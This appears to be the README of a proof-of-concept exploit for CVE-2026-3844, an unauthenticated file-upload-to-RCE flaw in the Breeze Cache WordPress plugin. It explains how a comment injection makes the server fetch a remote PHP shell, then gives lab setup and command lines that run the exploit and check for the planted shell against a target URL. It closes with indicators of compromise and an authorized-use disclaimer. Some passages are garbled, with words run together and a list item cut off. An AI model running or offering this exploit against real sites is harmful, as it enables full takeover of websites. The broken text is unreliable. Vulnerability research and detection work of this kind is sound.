
Exploit for CVE-2026-3844, an unauthenticated arbitrary file upload leading to RCE in Breeze Cache WordPress plugin. Includes lab setup, usage, and IoCs for authorized testing.
| Field | Value |
|---|
| CVE | CVE-2026-3844 |
| CVSS | 9.8 (Critical) |
| Plugin | Breeze Cache (Cloudways) |
| Affected | ≤ 2.4.4 |
| Fixed | 2.4.5 |
| Discovered by | Hung Nguyen (bashu) |
| PoC by | halilkirazkaya |
Breeze Cache WordPress plugin (≤ 2.4.4) contains a critical arbitrary file upload vulnerability. Attackers are actively exploiting this flaw to gain Remote Code Execution (RCE) and complete website takeover without any authentication.
The flaw lives in the fetch_gravatar_from_remote function inside class-breeze-cache-cronjobs.php. The function fetches Gravatar images from a remote URL and stores them locally in the WordPress uploads directory without validating the file type or content.
fetch_gravatar_from_remotesrcset or src via comment injection), an attacker can force the server to download a malicious PHP shell from a remote URL.wget https://downloads.wordpress.org/plugin/breeze.2.4.4.zip
unzip breeze.2.4.4.zip
rm breeze.2.4.4.zip
docker compose up -d
http://localhost and complete the WordPress installation.
pip install -r requirements.txt
# Check vulnerability only (reads version from readme.txt)
python3 exploit.py -u http://TARGET-URL -c
# Run full exploit (injection + trigger + shell check)
python3 exploit.py -u http://TARGET-URL

/wp-content/cache/breeze-extra/gravatars/ (or /uploads/breeze/gravatars/) for unexpected .php, .phtml, or .phar files.admin-ajax.php or wp-cron.php related to fetch_gravatar_from_remote parameters.This tool is provided for authorized security testing and educational purposes only. Unauthorized access to computer systems is illegal. Use responsibly.